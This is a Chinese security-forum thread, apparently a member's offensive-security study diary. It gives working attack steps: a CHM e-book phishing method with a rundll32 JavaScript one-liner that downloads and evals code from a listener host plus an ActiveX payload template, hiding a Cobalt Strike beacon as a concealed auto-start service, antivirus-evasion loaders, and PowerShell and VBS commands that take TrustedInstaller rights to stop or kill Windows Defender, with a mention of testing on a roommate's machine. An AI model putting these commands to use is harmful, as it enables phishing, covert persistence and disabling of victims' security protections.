安全矩阵

 找回密码
 立即注册
搜索
楼主: CDxiaodong

程栋的学习日记

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-1-11 11:57:51 | 显示全部楼层




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-1-11 20:24:28 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-1-12 13:38:33 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-1-29 23:27:22 | 显示全部楼层
本帖最后由 CDxiaodong 于 2022-1-29 23:33 编辑

CHM 电子书钓鱼
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代
的帮助文件格式,利用 HTML 作源文,把帮助内容以类似数据库的形式编译储
存。CHM 支持 Javascript、VBscript、ActiveX、Java Applet、Flash、常见图形文
件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过 URL
与 Internet 联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。
Chm 文件因何变得危险
.Chm 文件格式是 HTML 文件格式的扩展,它本来是一种用于给软件应用程
序作用户手册的特殊文本格式。简单来说,HTML 文件格式被压缩和重整以后,
就被制成了这种二进制的.Chm 扩展文件格式。通常,.Chm 文件格式由压缩的
HTML 文件、图像、Javascript 这些文件组合而成,同时,它可能还带有超链接
目录、索引以及全文检索功能。

一:因为电子书一般是在本地电脑域打开的,因此它所获得的权限也是本地
电脑域的权限,所以比起网页木马的 Internet 域来,让木马获得执行的机会要简
单的多,“不必使用漏洞”就可以执行,从而也就不会被杀毒软件查杀,如果你
的木马程序够好的话。也不必担心别人打了补丁。
二:现在的网页木马由于影响力太大,一般的人上网都会小心三分提防的,
且它依赖于漏洞,所以生存的空间正在逐渐缩小,与此相反的是电子书的火爆下
载,使得电子书木马的传播能力以及范围大大加强。
三:由于木马程序嵌入电子书里,一般的杀毒软件无法对其中存在的木马病
毒等破坏性程序进行检查和清除,至少我还没发现有哪个软件可以做到这点,而
且如果对这类电子书进行检查,杀毒所需时间也会过长。
四:还有最后一点就是,网页木马一般都要自己辛辛苦苦的去传播,并且站
点随时可能被关闭,而电子书却可以让许多大的下载站点做贡献。获得长久时间
的传播,当然前提是这本电子书够精彩。
当然 chm 的后门文件一般只能针对 windows,而 linux 不能直接打开 chm,
需要安装第三方软件才能打开 chm 文件。

制作 chm 钓鱼文件项目地址 https://github.com/Ridter/MyJSRat
下载项目 git clone https://github.com/Ridter/MyJSRat
这个工具是用 python2 编写,脚本修改分为两个模式,交互模式以及执行命令模
式。大多数情况使用交互模式。
本地监听
python MyJSRat.py -i 192.168.0.180 -p 8080

http://192.168.0.180:8080/wtf
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1")
;h.Open("GET","http://192.168.0.180:8080/connect",false);try{h.Send();
b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell
").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
访问 wft 这就是恶意代码可以嵌入 chm 电子书里
制作 chm 电子书
Easy CHM 是一款 CHM 电子书或 CHM 帮助文件的制作工具,只需三步即可完
成 CHM 的制作,用户只需指定相应目录,该软件将会导入该文件夹内所有文件,
然后用户就可以设置 CHM 编译选项、开始制作。EasyCHM 可用于个人或者单
位制作高压缩比的带有全文检索及高亮显示搜索结果的网页集锦、CHM 帮助文
件、专业的产品说明、公司介绍、CHM 电子书等等。
钓鱼 payload
<!DOCTYPE html><html><head><title>Mousejack
replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1
height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',这里是你的 payload'><PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>
打开 Easy CHM 新建->浏览->选择目录

编译 根据需求设置好选项后 生成 chm 即可。

当受害人打开制作有后门的 chm 电子书,即可获取对方的权限。

最终的效果




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-2-28 22:04:52 | 显示全部楼层


将beacon写入服务并隐藏配合turated到停止defance。需管理员。且要关掉windowsdefance或者绕过它.txt
sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto
file://E:\typora%E5%9B%BE%E7%89%87\image-20220227180109065.png?lastModify=1646056562


& $env:SystemRoot\System32\sc.exe sdset 1t "DD;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU) (D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;; SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)SAU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
file://E:\typora%E5%9B%BE%E7%89%87\image-20220227180046037.png?lastModify=1646056562
已经做好了 我们也写得是auto
可以自动启动。
接下来重开机试一下有没有上线
但是应该不会  因为defence会把它杀掉
刚开机的时候会出现两个黑框 然后瞬间消失 应该是被杀掉了
cs也没有上线。但是证明这个隐藏是可行的

接下来配合csbeacon免杀defence或者绕过或者关闭defence就行
想要使用tursyedlnstaller权限关闭defence实战中操作比较难。只使用与权限提升和留后门。不适合与这个自启动。
有两个原因:
1.提权trustedlnastaller这个操作难度大
2.即使关闭defence后也无法永久关闭。关闭后,如果机器重启的话会自动打开defence
3.即使永久关闭的话,对方发现的话就不太好。心大的话会再次开启defence。然后之前的后面就没用了
(后面证实  可以永久关闭defence!!!当然也就产生了第三个原因的坏处)
那么接下来就逐步进行
先使用cs免杀defence上线靶机并给予服务自启动
然后将服务隐藏
最后使用cs中的beacon进行实战操作从TrustedInstaller到停止WindowsDefender

为了更贴近个人主机。会先在靶机操作一遍,然后再到我舍友的机器试一下
这里先用schhhloader生成免杀看一下还能不能用
cs生成raw x64文件    (1.bin)

file://E:\typora%E5%9B%BE%E7%89%87\IMG_20220228_162129.jpg?lastModify=1646056562
上传试试
没有爆毒但是也没有上限
试一下gobybass
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228171553170.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228171725331.png?lastModify=1646056562
奇怪 又是免杀但是不上线
好家伙 原来是我开国外代理的原因
被墙给拦了
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228172838314.png?lastModify=1646056562
ok 原来两个都能上线  不过这个shhloder需要设置延时  不然容易给断掉
可以看到shhh使用的是进程劫持来进行免杀
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228173343877.png?lastModify=1646056562
好家伙  我就再beacon运行一下whoami  gobypass就被杀了
成功断掉
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228173433436.png?lastModify=1646056562
不出意外 shhhloder执行命令 也被杀了
这样看下来 我工具包里免杀全都被杀了

无所谓了 为了后续操作 直接再defence里面给后门文件允许存在
接下来
并给予服务自启动
然后将服务隐藏
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228174544251.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228174651602.png?lastModify=1646056562
真的吐了  就算你允许其存在了  但是只要你有后续操作还是会杀

file://E:\typora%E5%9B%BE%E7%89%87\image-20220228175254867.png?lastModify=1646056562
所以必须得做到cs的完全免杀才能运行指令
无语了
到底还是要免杀

而之后的操作2和3的顺序其实是可以调换的

从TrustedInstaller到停止WindowsDefender
这里只讲利用方法
由于cs没做免杀的话基本上用不了。这里直接本地试一下
先直接命令关闭进程试一下、
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228190233239.png?lastModify=1646056562
没有权限

就算system权限也不行
为了能够关闭它  
我们先升级到system权限
然后利用system权限升级到trustedinstaller权限
实战中如何提升到system权限就不用讲了  这个方法很多
dll劫持,白名单程序。域账户  lssas wmic

利用github上正好有份可以拿来看token的ps1非常方便
TrustedInstaller为Windows系统中众多系统内置安全主体中的一个,除了组之外也是系统重要服务,用户无法直接在此服务的上下文中运行程序或另一个服务。它是操作系统上用来对系统进行维护、更新等操作的组。SID是S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464。TrustedInstaller权限的意义是用来防止程序或用户无意或恶意破坏系统文件。这个安全主体本身是一个服务,名称为:Windows Modules Installer
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228192051708.png?lastModify=1646056562
一般常规情况下,进程默认打开未启动,需要先启动下服务才能启动那么也就意味着要获得到TrustedInstaller的权限,需要先通过服务启动下
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228192323456.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228192332796.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194454576.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194502521.png?lastModify=1646056562

了解下权限划分即可知道,在windows下TrustedInstaller权限其实超过了system,再回到为什么没法直接关闭WinDefend,查看WinDefend服务的dcal,可以发现管理员、system只有start的权限没法进行stop

file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194540072.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194547079.png?lastModify=1646056562
这个是

file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194559093.png?lastModify=1646056562
的属性
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194615202.png?lastModify=1646056562
一样只有turster才行
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194629044.png?lastModify=1646056562
但服务本身和TrustedInstaller具备完全控制,可以实现stop功能
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228194941762.png?lastModify=1646056562
从管理员到system出发,利用winlogon获得system权限,通过StartService启动trustedinstaller服务,从而进步获取trustedinstaller的权限,利用trustedinstaller来停止defender
当然获取trustedinstaller的权限有很多方法,
这个服务方法我暂时还没搞出来:
先用用其他的方法
方法1:
创建一个txt文件
输入以下内容
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT*\shell\runas]
@="获取TrustedInstaller权限"
[HKEY_CLASSES_ROOT*\shell\runas\command]
@="cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" && icacls "%1" /grant administrators:F"
[HKEY_CLASSES_ROOT\Directory\shell\runas]
@="获取TrustedInstaller权限"
"NoWorkingDirectory"=""
[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
@="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t"
"IsolatedCommand"="cmd.exe /c takeown /f "%1" /r /d y && icacls "%1" /grant administrators:F /t"
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228195938524.png?lastModify=1646056562
将文档后缀.txt更改为注册表格式.reg
先使用普通用户打开试试
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228200356482.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228200404904.png?lastModify=1646056562
用管理员试试
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228200609213.png?lastModify=1646056562
看来只能用 管理员
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228200747777.png?lastModify=1646056562
win7 成功可以   但是不难发现 win7的 defence 是是svchost.exe执行的
但是win10的是msmpeng.exe
之后再试一下 发现defence在一段时间后还是会自动打开
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228201127951.png?lastModify=1646056562
win10试试
直接管理员运行
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228201243072.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228201247977.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228201324040.png?lastModify=1646056562
失败!!!!
这个方法本来就不行
win7可以是因为win7版本低  没有做相关的防护 就算win7可以  一段时间后又不行了


方法二
下载setacl
1、把下载解压好的程序SetACL.exe复制到C:\Windows\System32
2、以管理员身份运行命令提示符
3、按照如下格式设置执行获取权限命令:
SetACL -on文件/文件夹/注册表值名称-ot文件类型-actn要执行的操作
SetACL.exe -on "HKEY_CLASSES_ROOT\CLSID{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" -ot reg -actn setowner -ownr "n:Administrators"

file://E:\typora%E5%9B%BE%E7%89%87\image-20220228203903259.png?lastModify=1646056562
注释:将上述注册表项所有者更新到管理员Administrator(默认为不可更改的TrustedInstaller)
SetACL.exe -on "HKEY_CLASSES_ROOT\CLSID{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}" -ot reg -actn ace -ace "n:Administrators;p:full"
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228204106228.png?lastModify=1646056562
注释:让上述注册表项所有者“Administrator”获取全部权限。
注意,上述命令缺一不可,而且要按照先后顺序执行
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228204318901.png?lastModify=1646056562
给当前用户也加一下
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228204402686.png?lastModify=1646056562
还是不行!!!!
方法三
输入regedit,按回车键进入注册表编辑器。
定位到
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService
在右侧找到DWORD(32位)值,命名为Start。
修改数值数据为4。

file://E:\typora%E5%9B%BE%E7%89%87\image-20220228204931699.png?lastModify=1646056562
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228205001492.png?lastModify=1646056562
重启文件资源管理器,或注销再登录/重启系统。
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228205447399.png?lastModify=1646056562
还是在 = = 下一个
方法四(确定有用  win11也能用)
rustedInstaller(TI)组的概念
当系统资源被更改时,一个名为TrustedInstall的系统服务一定会被运行。我们使用SC模块也能发现这一点。
改变系统文件的权限实在不是个好主意,如果你做错了你会将操作系统暴露给EOP,尤其是对目录来说。资源管理器可以轻松地更改所有子文件和文件夹的安全属性为初始值。当然,TI会阻止你这么做的,但是总有些人出于某些目的而想要这么做。
你也许会想,我可以把当前用户添加到TI组中。不幸的是像NetLocalGroupAddMembers这样的LSASS api不使用SID,修改注册表值NT SERVICETrustedInstaller同样无效。因为它根本就不是一个真实的组,它是使用其他方法来创建的。也许你可以通过念一段神奇的咒语来完成这件事,或者至少使用底层的RPC调用,但我认为这么做不太值得。
因此,修改TI服务设置的最快方法是通过改变设置来运行一个其他的二进制文件。奇怪的是,TI服务使得系统上的文件很难被随意修改,但是它却不保护它自己,修改它的操作可以以一个普通管理员的权限完成。所以你可以使用下面的命令来删除任意文件
sc config TrustedInstaller binPath= "cmd.exe /C del pathtofile"
启动TI服务,咻的一声文件就没了。这条命令能够生效的另一个原因是,TI不是一个Protected Process Light (PPL),这也是一件奇怪的事情,因为TI组被赋予了删除和停止PPL服务的权限。有大佬把这一点向MSRC指出过(并且Alex lonescu在2013年也这么做了),但是微软并没有采取任何措施去修复。看起来微软也并不认为PPL是一个安全边界。
上述操作做完之后你必须把TI服务恢复到原来的状态,否则像Windows Update之类的服务就没法正常工作了。由于TI服务有一个token,那么我们是否可以借用这个token来创建一个新进程呢?
作为管理员,我们可以调用SeDebugPrivilege函数来打开TI进程和它的token。然后我们就可以做任何事情了,试一下吧:
首先,我们需要下载并安装 Set-NtTokenPrivilege 命令所需模块,我们先在系统 C 盘根目录新建名为“token”的文件夹。
接着,我们以管理员身份运行 Powershell,然后输入(其中 C:\token,为我们刚刚新建文件夹的路径):
Save-Module -Name NtObjectManager -Path c:\token  (记得翻墙下载!!!!!!!!)
并回车(第一次安装会出现询问,输入“Y”并回车):
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228211822811.png?lastModify=1646056562
稍等片刻下载完成后,我们输入:
Install-Module -Name NtObjectManager
并回车,正式安装。若出现不受信任的存储库,输入“A”并回车:
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228212908738.png?lastModify=1646056562
等安装结束后,需要让系统允许使用 Windows Powershell 脚本,输入以下命令:
Set-ExecutionPolicy Unrestricted
回车执行命令,系统会显示执行策略更改,输入 A 并回车确认
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228212931388.png?lastModify=1646056562
接着,导入 NtObjectManager 模块,输入并回车执行以下命令:
Import-Module NtObjectManager
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228212958601.png?lastModify=1646056562
好的  准备工作结束  正式开始利用

sc.exe start TrustedInstaller



Set-NtTokenPrivilege SeDebugPrivilege



Start-Service TrustedInstaller

$p = Get-Ntprocess -Name TrustedInstaller.exe

$t = $p.OpenToken()

$t.Groups | Where-Object {$_.Sid.Name -match "TrustedInstaller"}
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228213138297.png?lastModify=1646056562

whoami /groups /fo list试一下
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228213208546.png?lastModify=1646056562
可以看到我们已经获得 Trustedinstaller 权限了,现在就可以通过一些命令修改系统文件了。如果想要更加方便操作,可以通过此 CMD 运行 taskmgr、notepad 等应用,在运行新任务、打开文件的浏览窗口下,进行文件编辑。编辑结束后直接关闭即可。
  注意!不要使用 CMD 运行 explorer,因为 explorer 无法在当前用户下正常使用。在这之后如果,想要重新获得 Trustedinstaller 权限重新执行以下命令即可:
 
 sc.exe start TrustedInstallerSet-NtTokenPrivilege SeDebugPrivilege$p = Get-NtProcess -Name TrustedInstaller.exe$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
这很简单,是时候来尝试一下TI的其他操作了。
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228210725027.png?lastModify=1646056562
好吧,看起来我们没法通过使用这个token创建或者模拟一个进程,这可不太好。在上图底部我们可以看到原因。我们只有TOKEN_QUERY的权限,但是我们至少需要TOKEN_DUPLICATE权限来获取一个创建新进程所需要的token。检查token的安全描述,使用Process Hacker来查看为什么我们的访问权限这么低(我们甚至连READ_CONTROL权限都没有)。
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228210735367.png?lastModify=1646056562
可以看到,管理员组只有TOKEN_QUERY权限。这一点与我们通过token获得的访问权限是一致的。你可能想知道为什么SeDebugPrivilege没有生效,因为调试权限仅仅绕过了进程和线程对象的安全检查,它并不会对token进行任何操作,因为我们没法获得它的帮助。看起来有点麻烦,但是是否就没有除了修改服务二进制这种暴力操作以外的其他方法来达到目的了呢?
当然不是了。有一些例子可以说明我们如何让类似于TI的服务运行起来,一般来说,可以先安装一个服务来运行代码,然后窃取TI令牌,最后再创建新进程。很容易理解,如果我想创建一个服务,我只需要修改Trusted Installer服务。
因此,有两种很简单的方法来绕过这种权限限制,并且不需要任何新的或者修改过的或者注入过代码的服务。我们首先来看创建新进程的问题。一个进程的父进程会调用CreateProcess,对于UAC来说,这将提升子进程的权限,这看起来有些奇怪。为了支持微软所介绍的Vista中的最小权限原则,通过创建新进程时都会显式指定一个父进程,以便权限提升后的进程仍然是调用者的子进程。
通常在开启了UAC的情况下,你可以显示指定子新进程的token。然而,如果你没有指定token,新进程就会从父进程处继承token。因此,我们这么做的唯一要求是获得父进程句柄的PROCESS_CREATE_PROCESS权限。由于我们已经有SeDebugPrivilege权限了,我们就可以获取TI进程的完整权限,当然也包括创建它的子进程的权限。这么做的额外好处是,内核中创建进程的代码甚至会直接为调用者分配正确的会话ID,这样就可以创建交互式进程了。我们利用这种特性,在当前桌面上通过New-Win32Process使用TI服务的token创建了任意进程,并且通过-ParentProcess参数将进程对象传递进去。
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228210747258.png?lastModify=1646056562
在不创建新进程的情况下模拟token也很有用。有没有方法实现呢?有。我们可以使用NtImpersonateThread API,它允许从现有的线程中捕获上下文,并且可以应用到另一条线程中。模拟上下文工作的过程是,内核首先尝试捕获该线程的token,如果线程没有token,那么内核将通过模拟来复制与线程相关进程的token。而NtImpersonateThread API的美妙之处在于,设置父进程时不需要访问token的权限,它只需要THREAD_DIRECT_IMPERSONATION模拟访问一个线程,这一点我们只需要使用SeDebugPrivilege就可以做到。因此,可以通过以下步骤来获得一个不产生新进程的模拟线程:
以至少PROCESS_QUERY_INFORMATION的权限打开一个进程,枚举其线程
以THREAD_DIRECT_IMPERSONATION权限打开进程中的第一条线程
调用NtImpersonate Thread来获取一个模拟token
sc.exe start TrustedInstaller

$p = Get-NtProcess -Name TrustedInstaller.exe

$th = $p.GetFirstThread()

$current = Get-NtThread -Current -PseudoHandle

$imp = $current.ImpersonateThread($th)

$imp_token = Get-NtToken -Impersonation

$imp_token.Groups | Where-Object {$_.Sid.Name -match "TrustedInstaller"}


file://E:\typora%E5%9B%BE%E7%89%87\image-20220228214339561.png?lastModify=1646056562

现在,只要其他线程不去设置主线程的模拟token(并且你也不要在分离出的线程上做任何事情),那么你的PowerShell控制台就是拥有TI组的状态。

$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -Token $t
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228214545675.png?lastModify=1646056562
直接运行  就很nice

$imp = $t.Impersonate()
$t.GrantedAccess
试试关闭WDF
file://E:\typora%E5%9B%BE%E7%89%87\image-20220228214648480.png?lastModify=1646056562
没有出现拒绝访问  就很nice!!!
怎么永久删除呢  后面讲解  使defende无法恢复呢




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-3-10 20:27:34 | 显示全部楼层


回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2022-3-15 17:08:32 | 显示全部楼层
mxsillusion 发表于 2022-2-28 22:04
将beacon写入服务并隐藏配合turated到停止defance。需管理员。且要关掉windowsdefance或者绕过它.txtsc c ...

方法五(未完成)
依旧从管理员到system出发,利用winlogon获得system权限,通过StartService启动trustedinstaller服务,从而进步获取trustedinstaller的权限,利用trustedinstaller来停止defender
那么问题来了,是否有办法来达到无法恢复defender的目的?
查找资料后,发现进步通过ChangeServiceConfig2W可以来删除原有的PsProtectSignerAntimalware-Light保护,进步结合可以尝试删除、修改defender的相关组件,以导致无法进步正常重启运行,因为现有的停止服务是可以进行重启来恢复的
主要用到的代码
if (!QueryServiceConfig2W(hService, SERVICE_CONFIG_LAUNCH_PROTECTED, LPBYTE(&srvinfo), sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &cbBufSize))if (!ChangeServiceConfig2W(hService, SERVICE_CONFIG_LAUNCH_PROTECTED, &dwLaunchProtected)) {
补充:
参考zhuri大佬的文章
先提权都trust  上面有写  顺便试一下 上面手工得到的trust用户能否实现接下来的操作
新建一个vbs文件 内容如下
'Description: Script to disable the Microsoft Defender Antivirus service
Set ServiceSet = GetObject("winmgmts:").ExecQuery _("select * from Win32_Service where Name='WinDefend'")For Each Service In ServiceSet   RetVal = Service.StopService()    If RetVal <> 0 Then       MsgBox "Error " & RetVal   End If   Service.ChangeStartMode("Manual")Next
返回错误 没有权限
Error 2 表示用户没有所需的访问权限。
既然没有对服务的访问权限,那我们可以试一下能不能直接关闭Defender的进程,将上面的脚本改动一下,关闭MsMpEng.exe进程:
Set ServiceSet2 = GetObject("winmgmts:\\.\root\cimv2")
Set ServiceSet = ServiceSet2.Execquery("select * from Win32_Process where Name='MsMpEng.exe'")
For Each Service In ServiceSet
   RetVal = Service.Terminate()
   If RetVal <> 0 Then
     MsgBox "Error " & RetVal
   End If
Next
一样 又..........
又返回了Error2,思路似乎到这里就断了。但是之前研究Defender注册表的时候发现了一个表项中存储着Defender的运行信息,当时将权限提升到System也没有修改成功。
试着以TrustedInstaller权限修改一下。
可以可以 手工不行 还是老老实实上传文件吧
方法六(大部分版本不行、无权限)
微软为了提供用户更妥善的安全保护,在2020年8月更新中更新了支持文档。若用户安装了其他杀毒软件,Defender将自动关闭;若用户卸载杀毒软件解决方案,Defender将强制自动开启。那我们可不可以模拟杀毒软件的行为,让Defender误以为我们安装了杀软,从而达到关闭Defender的目的呢?答案是可以的。
将系统注册表备份,安装杀毒软件后再次提取注册表信息并进行对比。最后将疑似影响Defender运行的键值进行改动对比,最终得出几个键值的排列组合可以达到沉默Defender的作用。
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender下,DisableAntiSpyware的值改为1,DisableAntiVirus的值改为1。
默认情况下并无这两个键值。
已经不行
没有权限修改它

方法七 powershell(可以 好用)
管理员权限打开powershell,输入如下命令:
好用 只要对方不扫描就没事



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 17:39 , Processed in 0.019459 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表